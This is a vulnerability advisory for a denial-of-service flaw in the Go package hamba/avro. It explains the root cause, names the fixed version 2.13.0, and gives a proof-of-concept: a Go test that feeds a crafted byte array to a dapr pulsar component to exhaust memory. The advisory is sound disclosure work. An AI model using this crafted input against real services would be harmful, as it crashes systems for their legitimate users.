Denial of Service (DoS) Affecting github.com/hamba/avro package, versions *

Affected versions of this package are vulnerable to Denial of Service (DoS). A well-crafted string passed to avro's github.com/hamba/avro/v2.Unmarshal() can throw a fatal error: runtime: out of memory which is unrecoverable and can cause denial of service of the consumer of avro.

Note:

The root cause of the issue is that avro uses part of the input to Unmarshal() to determine the size when creating a new slice.

Note:

All versions of V1 are vulnerable, users should upgrade to github.com/hamba/avro/v2 with version 2.13.0 or higher.

cd /tmp
git clone --depth=1 https://github.com/dapr/components-contrib
cd components-contrib/pubsub/pulsar

now add this test to the pulsar_test.go:

func TestParsePublishMetadata2(t *testing.T) {
        m := &pubsub.PublishRequest{}
        m.Data = []byte{246, 255, 255, 255, 255, 10, 255, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32}
        _, _ = parsePublishMetadata(m, schemaMetadata{protocol: avroProtocol, value: "bytes"})
}

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

• GitHub Commit
• GitHub PR
• GitHub Release
• Vulnerable Code